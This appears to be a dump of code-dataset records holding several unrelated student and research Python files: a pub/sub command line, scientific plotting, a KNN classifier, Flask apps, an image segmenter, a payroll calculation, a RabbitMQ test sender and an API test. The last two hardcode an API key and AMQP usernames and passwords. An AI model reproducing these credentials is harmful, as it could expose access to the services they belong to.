\n","sub_path":"이코테/greedy/실전문제/6.무지의먹방라이브.py","file_name":"6.무지의먹방라이브.py","file_ext":"py","file_size_in_byte":1192,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"59642602","text":"#!/usr/bin/env /usr/local/bin/python /usr/bin/python\n# encoding: utf-8\n# FileName: PubSub.py\n#\n# CS6381 Assignment\n# Group member: Peng Manyao, Li Yingqi, Zhou Minhui, Zhuangwei Kang\n#\n\nfrom Broker import Broker\nfrom Subscriber import Subscriber\nfrom Publisher import Publisher\nimport time\n\npubsub_version = '0.1'\npubsub_info = 'Dev MyPublisher/MySubscriber system based on ZeroMQ'\n\n\ndef help():\n print('pubsub: ')\n print('usage: pubsub [opt] [argv]')\n print('usage: pubsub -h')\n print('usage: pubsub -v')\n print('****************************')\n print(' pub -r [address] -P [port] -t [topic] # register publisher to an address with a port number'\n 'and set its initial topic')\n print(' pub send -t [topic] -p [publication] # send publication with topic')\n print(' pub -d [topic] # drop a topic')\n print(' pub shutoff')\n print('****************************')\n print(' broker -l [xsubsocket port] [xpubsocket port] # listen connections at these two ports')\n print('****************************')\n print(' sub -r [address] -P [port] -t [topic] -h [history samples count] # register subscriber to an '\n 'address with a port number and set its initial topic and history samples count')\n\n print('****************************')\n print('exit # exit program')\npub = None\nbroker = None\nsub = None\n\n\ndef parse(argv):\n opt = argv[0]\n global pub\n global broker\n global sub\n if opt == 'pub':\n if argv[1] == '-r' and argv[3] == '-P' and argv[5] == '-t':\n if pub is None:\n address = argv[2]\n port = argv[4]\n topic = argv[6]\n pub = Publisher(address, port, topic)\n if pub.register_handler():\n return True\n else:\n return False\n else:\n print('You already registered a publisher.')\n return False\n elif argv[1] == 'send' and argv[2] == '-t' and argv[4] == '-p':\n if pub is None:\n print('Please register a publisher firstly.')\n return False\n else:\n topic = argv[3]\n publication = ' '.join(argv[5:])\n pub.send_pub(topic, publication)\n elif argv[1] == '-d':\n if pub is None:\n print('Please register a publisher firstly.')\n return False\n else:\n topic = argv[2]\n pub.drop_topic(topic)\n elif argv[1] == 'shutoff':\n if pub is None:\n print('Please register a publisher firstly.')\n return False\n else:\n pub.shutoff()\n return True\n else:\n print('Illegal command.')\n return False\n\n elif opt == 'broker':\n if argv[1] == '-l':\n xsubport = argv[2]\n xpubport = argv[3]\n broker = Broker(xsubport, xpubport)\n broker.handler()\n else:\n print('Illegal command.')\n return False\n\n elif opt == 'sub':\n if argv[1] == '-r' and argv[3] == '-P' and argv[5] == '-t' and argv[7] == '-h':\n address = argv[2]\n port = argv[4]\n topic = argv[6]\n count = argv[8]\n sub = Subscriber(address, port, topic, count)\n sub.prepare()\n sub.handler()\n else:\n print('Illegal command.')\n return False\n else:\n print('Illegal command.')\n return False\n\n\nif __name__ == '__main__':\n\n while True:\n time.sleep(0.1)\n lcmd = raw_input('PubSub>> ')\n if lcmd == 'exit':\n break\n try:\n lcmd = lcmd.split()\n if lcmd[0] != 'pubsub':\n print('Illegal command.')\n continue\n opt = lcmd[1]\n\n # help info and version info\n if opt == '-h' or opt == 'help':\n help()\n continue\n elif opt == '-v' or opt == 'version':\n print('PubSub current version is: %s' % pubsub_version)\n print('PubSub info is: %s' % pubsub_info)\n continue\n ret = parse(lcmd[1:])\n if ret is False:\n print('Service failed.')\n except IndexError:\n print('Illegal command.')\n","sub_path":"Assignment1/SourceCode/PubSub.py","file_name":"PubSub.py","file_ext":"py","file_size_in_byte":4444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"522154215","text":"#!/usr/bin/env python3\nfrom __future__ import print_function\nimport sys\nsys.path.append('./method')\nimport os\nimport numpy as np\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport pints.io\nimport pints.plot\nfrom scipy.interpolate import interp1d\nfrom scipy.stats import norm as scipy_stats_norm\n\n\"\"\"\nPosterior predictives with different discrepancy models.\n\nThis script plots the cached posterior predictives generated by `posterior.py`,\n`posterior-gp.py`, and `posterior-arma.py`.\n\"\"\"\n\nmodel_list = ['A', 'B', 'C']\npredict_list = ['sinewave', 'staircase', 'ap']\ndiscrepancy_list = ['', '-gp', '-gp-ov', '-arma_2_2']\nload_list = ['-iid', '-gp', '-gp', '-armax']\ndiscrepancy_names = ['iid noise', 'GP(t)', 'GP(O, V)', 'ARMA(2, 2)']\n\ntry:\n which_model = sys.argv[1] \n which_predict = sys.argv[2]\nexcept:\n print('Usage: python %s [str:which_model]' % os.path.basename(__file__)\n + ' [str:which_predict]')\n sys.exit()\n\nif which_model not in model_list:\n raise ValueError('Input model %s is not available in the model list' \\\n % which_model)\n\nif which_predict not in predict_list:\n raise ValueError('Input data %s is not available in the predict list' \\\n % which_predict)\n\ninfo_id = 'model_%s' % which_model\nsavedir = './fig/compare'\nif not os.path.isdir(savedir):\n os.makedirs(savedir)\nsaveas = 'compare-' + info_id + '-sinewave-%s-pp' % which_predict\n\nif which_predict == 'sinewave':\n zoom = [-1250, 800]\nelif which_predict == 'staircase':\n zoom = [-600, 1600]\nelif which_predict == 'ap':\n zoom = [-200, 4200]\n\ndata_dir = './data'\ndata_file_name = 'data-%s.csv' % which_predict\nprint('Predicting ', data_file_name)\n\n# Load data\ndata = np.loadtxt(data_dir + '/' + data_file_name,\n delimiter=',', skiprows=1) # headers\ntimes = data[:, 0]\ndata = data[:, 1]\n\n# Load protocol\nprotocol = np.loadtxt('./protocol-time-series/%s.csv' % which_predict,\n skiprows=1, delimiter=',')\nprotocol_times = protocol[:, 0]\nprotocol = protocol[:, 1]\nvoltage = interp1d(protocol_times, protocol, kind='linear')(times)\n\n# Load cached posterior prediction\ntimes_list = []\nppc_mean_list = []\nppc_sd_list = []\nppc_model_mean_list = []\nppc_model_sd_list = []\nppc_disc_mean_list = []\nppc_disc_sd_list = []\nfor i, (d, l) in enumerate(zip(discrepancy_list, load_list)):\n loaddir = './fig/mcmc-' + info_id + d + '/raw'\n loadas = info_id + '-sinewave-' + which_predict\n times_list.append(np.loadtxt('%s/%s-pp-time.txt' % (loaddir, loadas)))\n\n ppc_mean_list.append(np.loadtxt('%s/%s-pp%s-mean.txt'\n % (loaddir, loadas, l)))\n ppc_sd_list.append(np.loadtxt('%s/%s-pp%s-sd.txt' % (loaddir, loadas, l)))\n\n ppc_model_mean_list.append(np.loadtxt('%s/%s-pp-only-model-mean.txt'\n % (loaddir, loadas)))\n ppc_model_sd_list.append(np.loadtxt('%s/%s-pp-only-model-sd.txt'\n % (loaddir, loadas)))\n\n ppc_disc_mean_list.append(np.loadtxt('%s/%s-pp-only%s-mean.txt'\n % (loaddir, loadas, l)))\n ppc_disc_sd_list.append(np.loadtxt('%s/%s-pp-only%s-sd.txt'\n % (loaddir, loadas, l)))\n\nn_sd = scipy_stats_norm.ppf(1. - .05 / 2.)\n\n# Plot model + discrepancy\nif (which_model == 'A') and (which_predict in ['sinewave', 'staircase']):\n fig, axes = plt.subplots(len(discrepancy_list) + 1, 1, sharex=True,\n figsize=(8, 5),\n gridspec_kw={'height_ratios': [1] + [2] * len(discrepancy_list)})\n axes[0].plot(times, voltage, c='#7f7f7f')\n axes[0].set_ylabel('Voltage\\n(mV)')\n axes[0].set_title('ODE model with discrepancy', loc='left')\n axes[0].set_xlim((times[0], times[-1]))\n for i, d in enumerate(discrepancy_names):\n ppc_mean = ppc_mean_list[i]\n ppc_sd = ppc_sd_list[i]\n a = 0.5 #- i * 0.25\n axes[i + 1].plot(times, data, alpha=0.5, c='#7f7f7f', label='Data')\n axes[i + 1].plot(times, ppc_mean, c='C' + str(i), alpha=0.9, lw=0.5,\n label=d)# + ' mean')\n axes[i + 1].fill_between(times,\n ppc_mean - n_sd * ppc_sd,\n ppc_mean + n_sd * ppc_sd,\n facecolor='C' + str(i), linewidth=0, alpha=a,)\n #label=d + ' 95% C.I.')\n if which_predict in ['sinewave']:\n axes[i + 1].legend(loc=3)\n elif which_predict in ['staircase']:\n axes[i + 1].legend(loc=2, ncol=2)\n axes[i + 1].set_ylabel('Current\\n(pA)')\n axes[i + 1].set_ylim(zoom)\n axes[i + 1].set_xlim((times[0], times[-1]))\n # Add arrows...\n if which_predict == 'staircase':\n for i in range(1, 5):\n axes[i].annotate(\"\", xy=(2500, 200), xytext=(3250, 600),\n arrowprops=dict(arrowstyle=\"->\", color='#cb181d'))\n axes[i].annotate(\"\", xy=(14750, 200), xytext=(14750, 1050),\n arrowprops=dict(arrowstyle=\"->\", color='#cb181d'))\n axes[2].annotate(\"\", xy=(7550, 500), xytext=(8300, 900),\n arrowprops=dict(arrowstyle=\"->\", color='#0570b0'))\n axes[-1].set_xlabel('Time (ms)')\n plt.subplots_adjust(hspace=0)\n plt.savefig('%s/%s' % (savedir, saveas), dpi=200, bbox_inches='tight')\n plt.close()\nelse:\n fig, axes = plt.subplots(len(discrepancy_list) + 1, 1, sharex=True,\n figsize=(8, 8),\n gridspec_kw={'height_ratios': [1] + [2] * len(discrepancy_list)})\n axes[0].plot(times, voltage, c='#7f7f7f')\n axes[0].set_ylabel('Voltage (mV)')\n axes[0].set_title('ODE model with discrepancy', loc='left')\n for i, d in enumerate(discrepancy_names):\n ppc_mean = ppc_mean_list[i]\n ppc_sd = ppc_sd_list[i]\n a = 0.5 #- i * 0.25\n axes[i + 1].plot(times, data, alpha=0.5, c='#7f7f7f', label='Data')\n axes[i + 1].plot(times, ppc_mean, c='C' + str(i), alpha=0.9, lw=0.5,\n label=d + ' mean')\n axes[i + 1].fill_between(times,\n ppc_mean - n_sd * ppc_sd,\n ppc_mean + n_sd * ppc_sd,\n facecolor='C' + str(i), linewidth=0, alpha=a,\n label=d + ' 95% C.I.')\n axes[i + 1].legend()\n axes[i + 1].set_ylabel('Current (pA)')\n axes[i + 1].set_ylim(zoom)\n axes[-1].set_xlabel('Time (ms)')\n plt.subplots_adjust(hspace=0)\n plt.savefig('%s/%s' % (savedir, saveas), dpi=200, bbox_inches='tight')\n plt.close()\n\n# Plot model only\nfig, axes = plt.subplots(len(discrepancy_list) + 1, 1, sharex=True,\n figsize=(8, 8),\n gridspec_kw={'height_ratios': [1] + [2] * len(discrepancy_list)})\naxes[0].plot(times, voltage, c='#7f7f7f')\naxes[0].set_ylabel('Voltage (mV)')\naxes[0].set_title('ODE model only', loc='left')\nfor i, d in enumerate(discrepancy_names):\n ppc_mean = ppc_model_mean_list[i]\n ppc_sd = ppc_model_sd_list[i]\n a = 0.5 #- i * 0.25\n axes[i + 1].plot(times, data, alpha=0.5, c='#7f7f7f', label='Data')\n axes[i + 1].plot(times, ppc_mean, c='C' + str(i), alpha=0.9, lw=0.5,\n label=d + ' mean')\n axes[i + 1].fill_between(times,\n ppc_mean - n_sd * ppc_sd,\n ppc_mean + n_sd * ppc_sd,\n facecolor='C' + str(i), linewidth=0, alpha=a,\n label=d + ' 95% C.I.')\n axes[i + 1].legend()\n axes[i + 1].set_ylabel('Current (pA)')\n axes[i + 1].set_ylim(zoom)\naxes[-1].set_xlabel('Time (ms)')\nplt.subplots_adjust(hspace=0)\nplt.savefig('%s/%s-only-model' % (savedir, saveas), dpi=200,\n bbox_inches='tight')\nplt.close()\n\n# Plot discrepancy only\nfig, axes = plt.subplots(len(discrepancy_list) + 1, 1, sharex=True,\n figsize=(8, 8),\n gridspec_kw={'height_ratios': [1] + [2] * len(discrepancy_list)})\naxes[0].plot(times, voltage, c='#7f7f7f')\naxes[0].set_ylabel('Voltage (mV)')\naxes[0].set_title('Discrepancy only', loc='left')\nfor i, d in enumerate(discrepancy_names):\n ppc_mean = ppc_disc_mean_list[i]\n ppc_sd = ppc_disc_sd_list[i]\n a = 0.5 #- i * 0.25\n axes[i + 1].plot(times, data - ppc_model_mean_list[i], alpha=0.5,\n c='#7f7f7f', label='Data - ODE model')\n axes[i + 1].plot(times, ppc_mean, c='C' + str(i), alpha=0.9, lw=0.5,\n label=d + ' mean')\n axes[i + 1].fill_between(times,\n ppc_mean - n_sd * ppc_sd,\n ppc_mean + n_sd * ppc_sd,\n facecolor='C' + str(i), linewidth=0, alpha=a,\n label=d + ' 95% C.I.')\n axes[i + 1].legend()\n axes[i + 1].set_ylabel('Current (pA)')\n #axes[i + 1].set_ylim(zoom)\naxes[-1].set_xlabel('Time (ms)')\nplt.subplots_adjust(hspace=0)\nplt.savefig('%s/%s-only-disc' % (savedir, saveas), dpi=200,\n bbox_inches='tight')\nplt.close()\n","sub_path":"ion-channel-models/compare-pp.py","file_name":"compare-pp.py","file_ext":"py","file_size_in_byte":8572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"23347940","text":"print(\"#Тестирование API\")\n\n\nfrom requests import Request, Session\nimport json\nfrom datetime import datetime \n\nurl = 'https://sandbox-api.coinmarketcap.com/v1/cryptocurrency/listings/latest' #песочница\n\nparameters = {\n 'start':'1',\n 'limit':'10',\n 'convert':'USD',\n 'sort_dir':\"desc\"\n}\nheaders = {\n 'Accepts': 'application/json',\n 'X-CMC_PRO_API_KEY': 'b54bcf4d-1bca-4e8e-9a24-22ff2c3d462c', #ключ для песочницы\n \n}\n\nsession = Session()\nsession.headers.update(headers)\n\ntry:\n response = session.get(url, params=parameters)\n json_data = json.loads(response.text)\n print(\"Запрос на url:\",response.url)\n\nexcept (ConnectionError, Timeout, TooManyRedirects) as e:\n print(e)\n\nprint(\"Код ответа:\", response.status_code)\nassert response.status_code == 200\n\nprint(\"Время ответа :\", response.elapsed.total_seconds()*1000, \"мс\")\nassert response.elapsed.total_seconds()*1000 <= 500, response.elapsed.total_seconds()*1000\n\nprint(\"Размер пакета данных:\", len(response.content),\"байт\")\nassert len(response.content) < 10*1024\n\n\nfor each in json_data['data']:\n print(\"Наименование валюты:\", each['name'])\n print(\"дата последнего обновления:\", each['last_updated'].split(\"T\")[0])\n\n\n\ntoday = datetime.strftime(datetime.now(), \"%Y-%m-%d\")\nprint(\"Текущая дата:\",today)\n#assert today == each['last_updated'].split(\"T\")[0], each['last_updated'].split(\"T\")[0]\n\nprint(\"данные по запросу записаны в файл:file_response.text \")\nfile_data = open('file_response.text', 'wb')\nfile_data.write(response.content)\nfile_data.close()\n\n\nprint(\"Успешно\")\n","sub_path":"API_test1.py","file_name":"API_test1.py","file_ext":"py","file_size_in_byte":1710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"598815927","text":"# coding:utf8\r\nimport sys\r\nimport numpy as np\r\nimport math\r\nimport operator\r\n\r\n\r\nK = 5 # you can choose another K value'''\r\n\r\ndef euclideanDistance(instance1, instance2, length):#计算两点之间的欧式距离\r\n distance=0\r\n for x in range(length):#这里的length是指实例有几项，对应于特征向量的维度\r\n distance += pow((instance1[x]-instance2[x]),2)\r\n return math.sqrt(distance)\r\n\r\ndef getNeighbors(trainingSet,testInstance,K):#获取离样本点最近的k个训练实例点\r\n neighbors = []#离样本点最近的k个训练实例点的列表\r\n distance=[]#由训练实例及其与样本点的欧氏距离组成的列表\r\n length=len(testInstance)-1#－1，因为测试集里面是有类标签的\r\n for x in range(len(trainingSet)):\r\n dist=euclideanDistance(testInstance,trainingSet[x],length)\r\n distance.append([trainingSet[x],dist])\r\n distance.sort(key=operator.itemgetter(1))\r\n for x in range(K):\r\n neighbors.append(distance[x][0])#存储的是前k个训练实例点的distance列表中的(trainingSet[x])\r\n return neighbors\r\n\r\ndef getResponse(neighbors):#获取k个训练实例点的最多的类\r\n neighborsLabel={}#字典中对应的键值对是类别及数量\r\n for x in range(len(neighbors)):\r\n response=neighbors[x][-1]#训练实例点的最后一个属性，即类标记\r\n if response in neighborsLabel:#遍历k个训练实例点的response，如果在字典中，就加1，不在的话更新这个值为1\r\n neighborsLabel[response]+=1\r\n else:\r\n neighborsLabel[response]=1\r\n sortedVotes=sorted(neighborsLabel.iteritems(),key=operator.itemgetter(1),reverse=True)#将字典以迭代器对象返回，并按类的数量进行降序排序\r\n return sortedVotes[0][0]#返回列表里第一项的类别\r\n\r\ndef getAccuracy(testSet,answer):#计算准确度\r\n correct=0#表示测试集中预测正确的个数\r\n for x in range(len(testSet)):\r\n if testSet[x][-1] == answer[x]:#如果预测的类标签与实际的类标签相同，则预测正确的个数加1\r\n correct += 1\r\n return (correct/float(len(testSet)))*100.0\r\n\r\ndef classify():\r\n # training\r\n trainingSet=[]\r\n with open('./training.txt') as f:\r\n for line in f:\r\n trainingSet.append(line.split(','))\r\n for x in range(len(trainingSet)):\r\n for y in range(4):\r\n trainingSet[x][y]= float(trainingSet[x][y])\r\n # you can add your core code here\r\n\r\n # test\r\n testSet=[]\r\n with open('./test.txt') as f:\r\n for line in f:\r\n testSet.append(line.split(','))\r\n for x in range(len(testSet)):\r\n for y in range(4):\r\n testSet[x][y] = float(testSet[x][y])\r\n # add your code here\r\n\r\n answer=[]\r\n for x in range(len(testSet)):\r\n neighbors=getNeighbors(trainingSet,testSet[x],K)\r\n result=getResponse(neighbors)\r\n answer.append(result)\r\n print(repr(testSet[x])+'>predicted='+repr(result))\r\n accuracy=getAccuracy(testSet,answer)\r\n print ('Accuracy:'+repr(accuracy)+'%')\r\nif __name__ == '__main__':\r\n classify()\r\n","sub_path":"assignment 101/LuZhenni/knn.py","file_name":"knn.py","file_ext":"py","file_size_in_byte":3152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"460997487","text":"from flask import Flask, render_template, redirect, url_for, request, make_response\nfrom TheatreHopper import *\nfrom pprint import pprint\nfrom app import app\n@app.route(\"/\", methods=[\"GET\", \"POST\"])\ndef page():\n options = {}\n theatres, links = getTheatres()\n theatresLinks = [(theatres[i], links[i]) for i in xrange(len(theatres))]\n options[\"theatreList\"] = theatresLinks\n #print \"made it this far\"\n #raise IndexError\n #print request\n if request.form:\n # print request.form\n if \"theatre\" in request.form:\n url, soup = getShowtimesPage(request.form[\"theatre\"])\n dates, urls = getDates(soup, url)\n dateList = [(dates[i], urls[i]) for i in xrange(len(dates))]\n options[\"dates\"] = dateList\n if \"dates\" in request.form:\n #print request.form[\"dates\"]\n showtimes = getShowtimes(None, url=request.form[\"dates\"])\n #print showtimes\n hops = findHops(showtimes, int(request.form[\"maxWait\"]))\n #pprint(hops)\n marathons = findMovieMarathons(hops)\n removeDuplicates(marathons, [])\n options[\"marathons\"] = marathons\n #display(marathons, 0)\n #print request.form[\"dates\"] \n return make_response(render_template('index.html', **options))","sub_path":"app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":1364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"566491368","text":"import pika\nfrom lsst.ctrl.iip.Consumer import Consumer\nfrom lsst.ctrl.iip.SimplePublisher import SimplePublisher\nimport sys\nimport os\nimport pprint\nimport copy\nimport time\nimport logging\nimport _thread\n\nclass Premium:\n def __init__(self):\n logging.basicConfig()\n #os.system('rabbitmqctl -p /tester purge_queue firehose')\n #os.system('rabbitmqctl -p /tester purge_queue ack_publish')\n self.sp2 = SimplePublisher('amqp://TEST1:TEST1@141.142.238.160:5672/%2Fbunny', \"YAML\")\n time.sleep(3)\n broker_url = 'amqp://BASE:BASE@141.142.238.160:5672/%2Fbunny'\n #broker_url = 'amqp://NCSA:NCSA@141.142.208.191:5672/%2Ftester'\n #broker_url = 'amqp://Fm:Fm@141.142.208.191:5672/%2Fbunny'\n #self._cons = FirehoseConsumer(broker_url, 'firehose', \"YAML\")\n self._cons = Consumer(broker_url, 'f1_consume', \"YAML\")\n #self._cons = Consumer(broker_url, 'pp_foreman_consume', \"YAML\")\n self._cons2 = Consumer(broker_url, 'ncsa_consume', \"YAML\")\n try:\n _thread.start_new_thread( self.do_it, (\"thread-1\", 2,) )\n except e:\n print(\"Cannot start thread\")\n print(e)\n \n try:\n _thread.start_new_thread( self.do_it2, (\"thread-2\", 2,) )\n except e:\n print(\"Cannot start thread\")\n print(e)\n \n def mycallback(self, ch, methon, properties, body):\n print(\" \")\n print(\"+++++++++++++=========++++++++++++++++\")\n print(\" f1_consume msg:\")\n print(body)\n\n\n def mycallback2(self, ch, methon, properties, body):\n print(\" \")\n print(\">>>>>>>>>>>>>>><<<<<<<<<<<<<<<<\")\n print(\" f2_consume msg:\")\n print (body)\n if body['MSG_TYPE'] == 'NEXT_VISIT':\n return\n msg = {}\n msg['ACK_ID'] = body['ACK_ID']\n msg['MSG_TYPE'] = 'NCSA_START_INTEGRATION_ACK'\n msg['COMPONENT_NAME'] = 'NCSA_FOREMAN'\n fwdrs = copy.deepcopy(body['FORWARDERS'])\n pp = pprint.PrettyPrinter(indent=2)\n print(\"In callback2, fwdrs dict is:\")\n pp.pprint(fwdrs)\n fwdrs_keys = list(fwdrs.keys())\n i = 1\n for fwdr in fwdrs_keys:\n dists = {}\n dists['FQN'] = \"Distributor_\" + str(i)\n dists['NAME'] = \"D\" + str(i)\n dists['HOSTNAME'] = \"D\" + str(i)\n dists['TARGET_DIR'] = \"/dev/null\"\n dists['IP_ADDR'] = \"141.142.237.16\" + str(i)\n fwdrs[fwdr]['DISTRIBUTOR'] = dists\n i = i + 1\n\n #for fwdr in fwdrs_keys:\n # dists = {}\n # dists[fwdr] = {}\n # dists[fwdr]['FQN'] = \"Distributor_\" + str(i)\n # dists[fwdr]['NAME'] = \"D\" + str(i)\n # dists[fwdr]['HOSTNAME'] = \"D\" + str(i)\n # dists[fwdr]['TARGET_DIR'] = \"/dev/null\"\n # dists[fwdr]['IP_ADDR'] = \"141.142.237.16\" + str(i)\n # fwdrs[fwdr]['DISTRIBUTOR'] = dists\n # i = i + 1\n\n msg['PAIRS'] = fwdrs\n msg['ACK_BOOL'] = True\n msg['JOB_NUM'] = body['JOB_NUM']\n msg['IMAGE_ID'] = body['IMAGE_ID']\n msg['VISIT_ID'] = body['VISIT_ID']\n msg['SESSION_ID'] = body['SESSION_ID']\n self.sp2.publish_message(\"pp_foreman_ack_publish\", msg)\n\n\n def do_it(self, threadname, delay):\n print(\"Before run call\")\n self._cons.run(self.mycallback)\n\n def do_it2(self, threadname, delay):\n print(\"Before run call\")\n self._cons2.run(self.mycallback2)\n\n \n\ndef main():\n premium = Premium()\n sp1 = SimplePublisher('amqp://BASE_PUB:BASE_PUB@141.142.238.160:5672/%2Fbunny', \"YAML\")\n #sp2 = SimplePublisher('amqp://TesT:TesT@141.142.208.191:5672/%2Ftester')\n #broker_url = 'amqp://Fm:Fm@141.142.208.191:5672/%2Fbunny'\n #cons = Consumer(broker_url, 'F8_consume')\n #try:\n # thread.start_new_thread( do_it, (\"thread-1\", 2,) )\n #except:\n # print \"Cannot start thread\"\n\n\n # while 1:\n# msg = {}\n# msg['MSG_TYPE'] = 'NEW_ARCHIVE_ITEM'\n# msg['SESSION_ID'] = \"Tues_xx417\"\n# msg['VISIT_ID'] = \"V_5512\"\n# msg['IMAGE_TYPE'] = 'AR'\n# msg['IMAGE_ID'] = \"IMG_442\"\n# msg['ACK_ID'] = \"NEW_ITEM_ACK_14\"\n# time.sleep(3)\n# sp1.publish_message(\"archive_ctrl_consume\", msg)\n\n #msg = {}\n #msg['MSG_TYPE'] = \"DISABLE\"\n #msg['DEVICE'] = 'AR'\n #time.sleep(5)\n #sp1.publish_message(\"ocs_dmcs_consume\", msg)\n\n #msg = {}\n #msg['MSG_TYPE'] = 'AR_ITEMS_XFERD'\n #msg['IMAGE_ID'] = \"IMG_442\"\n #msg['CCD_LIST'] = {'4':{ 'FILENAME':'/mnt/xfer_dir/101_100_4.fits','CHECKSUM':'348e1dbe4956e9d8d2dfa97535744561'}}\n #msg['ACK_ID'] = 'AR_ITEMS_ACK_2241'\n #time.sleep(5)\n #sp1.publish_message(\"archive_ctrl_consume\", msg)\n\n \n msg = {}\n msg['MSG_TYPE'] = \"NEW_SESSION\"\n msg['SESSION_ID'] = 'session_RZ_22'\n msg['RESPONSE_QUEUE'] = 'dmcs_consume'\n msg['ACK_ID'] = 'NEW_SESSION_ACK_14'\n time.sleep(4)\n sp1.publish_message(\"pp_foreman_consume\", msg)\n\n msg = {}\n msg['MSG_TYPE'] = \"NEXT_VISIT\"\n msg['SESSION_ID'] = 'session_RZ_22'\n msg['VISIT_ID'] = 'XX_28272'\n msg['BORE_SIGHT'] = 'A LITTLE TO THE LEFT'\n msg['RESPONSE_QUEUE'] = 'dmcs_consume'\n msg['ACK_ID'] = 'NEXT_VISIT_ACK_15'\n time.sleep(4)\n sp1.publish_message(\"pp_foreman_consume\", msg)\n\n ccd_list = [1,2,12,17,9,22,43,44,46,47,55,71,15,78,79,82,84,85]\n msg = {}\n msg['MSG_TYPE'] = \"START_INTEGRATION\"\n msg['JOB_NUM'] = '121163'\n msg['IMAGE_ID'] = 'IMG_444244'\n msg['VISIT_ID'] = 'VV1X004'\n msg['SESSION_ID'] = 'session_RZ_22'\n msg['CCD_LIST'] = ccd_list\n \n msg['RESPONSE_QUEUE'] = 'dmcs_ack_consume'\n msg['ACK_ID'] = 'S_I_ACK_16'\n time.sleep(4)\n sp1.publish_message(\"pp_foreman_consume\", msg)\n time.sleep(7)\n\n #msg = {}\n #msg['MSG_TYPE'] = \"READOUT\"\n #msg['IMAGE_ID'] = 'IMG_444244'\n #msg['DEVICE'] = 'AR'\n #time.sleep(4)\n #sp1.publish_message(\"ocs_dmcs_consume\", msg)\n \n\n print(\"Sender done\")\n\n\n #sp2.publish_message(\"ack_publish\", \"No, It's COLD\")\n #time.sleep(2)\n #pass\n\n\n\nif __name__ == \"__main__\": main()\n","sub_path":"test_scripts/pp_sender.py","file_name":"pp_sender.py","file_ext":"py","file_size_in_byte":5623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"1926380","text":"import skimage.io as io\nfrom . import unet\nimport numpy as np\nimport os\nimport cv2\nfrom PIL import Image\nclass Predictor:\n def __init__(self): \n self.category = None\n self.size = None\n self.channel = None\n self.weight_path = \"SamTech/Vision/Segmenter/source/\"\n self.weight_name = None\n self.__model = None\n self.model_name = None\n\n def init_model(self, model_name, weight_path, summary = 0):\n self.__model, self.model_name = getattr(unet, model_name)(input_size = (self.size[0],self.size[1],self.channel), verbose = summary, pretrained_weights = weight_path)\n\n def summary(self):\n print ('\\nModel | {}'.format(self.model_name))\n print ('Category | {}'.format(self.category))\n print ('Weight | {}'.format(self.weight_name))\n print ('Size | {}'.format(self.size))\n print ('Color Channels | {}'.format(self.channel))\n print ('Weight Path | {}\\n'.format(self.weight_paht))\n\n def load_model(self, weight):\n path = self.weight_path + weight\n self.weight_name = weight\n weight = weight.split('-') \n self.model_name = weight[0].split('_')[0]\n self.category = weight[0].split('_')[1]\n self.size = (int(weight[1]), int(weight[2]))\n self.channel = int(weight[3])\n self.init_model(self.model_name, path)\n\n def predict(self, input_image_path, save_path = None):\n img = cv2.imread(input_image_path,0)\n img = cv2.resize(img,self.size)\n img = np.reshape(img,img.shape+(1,)) \n img = np.reshape(img,(1,)+img.shape)\n result = self.__model.predict(img)\n np_out = result[0][:,:,0]\n if save_path:\n io.imsave(save_path, np_out)\n return 1\n return np_out\n \n def segment(self, input_image_path, save_path = None):\n np_out = self.predict(input_image_path)\n img_bgr = cv2.imread(input_image_path, 1)\n img_bgr = cv2.resize(img_bgr, self.size)\n\n np_out = cv2.cvtColor(np_out,cv2.COLOR_GRAY2BGR)\n np_out = cv2.normalize(np_out, np_out, 0, 255, cv2.NORM_MINMAX).astype('uint8')\n np_out = Image.fromarray(np_out)\n\n mask_array = np.array(np_out) \n mask_array = mask_array[:, :, ::-1].copy() \n mask_out = cv2.bitwise_and(img_bgr, mask_array)\n\n if save_path:\n cv2.imwrite(save_path, mask_out)\n return 1\n return mask_out\n\nif __name__ == '__main__':\n pass","sub_path":"SamTech/Vision/Segmenter/keras_predictor.py","file_name":"keras_predictor.py","file_ext":"py","file_size_in_byte":2566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"386276547","text":"from flask import Flask, render_template\nfrom blueprints.greeting import greeting_blueprint\nfrom blueprints.pie import pie_blueprint\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef home(): \n return render_template('index.html')\n\napp.register_blueprint(greeting_blueprint)\napp.register_blueprint(pie_blueprint)\n\nif __name__ == '__main__': \n app.run()","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"220029787","text":"name = \"Smith\" # input(\"Enter employee's name: \")\nhours = 10 # eval(input(\"Enter number of hours worked in a week: \"))\npayRate = 9.75 # eval(input(\"Enter hourly pay rate: \"))\ntaxFederal = 0.20 # eval(input(\"Enter federal tax withholding rate: \"))\ntaxState = 0.09 # eval(input(\"Enter state tax withholding rate: \"))\n\npayGross = hours * payRate\npayNet = payGross * (1 - (taxFederal + taxState))\n\nout = \"Employee Name: \" + name + \"\\n\"\nout += \"Hours worked: \" + format(hours, \".1f\") + \"\\n\"\nout += \"Pay Rate: \" + format(payRate, \".2f\") + \"\\n\"\nout += \"Gross Pay: \" + format(payGross, \".1f\") + \"\\n\"\nout += \"Deductions: \" + \"\\n\"\nout += \" Federal Withholding (\" + format(taxFederal, \".1%\") + \"): $\" + format(payGross * taxFederal, \".2f\") + \"\\n\"\nout += \" State Withholding (\" + format(taxState, \".1%\") + \"): $\" + format(payGross * taxState, \".2f\") + \"\\n\"\nout += \" Total Deduction: $\" + format(payGross * (taxState + taxFederal), \".2f\") + \"\\n\"\nout += \"Net Pay: $\" + format(payNet, \".2f\")\n\nprint(out)\n","sub_path":"KAU_CPIT110/Lab5/Problem 2.py","file_name":"Problem 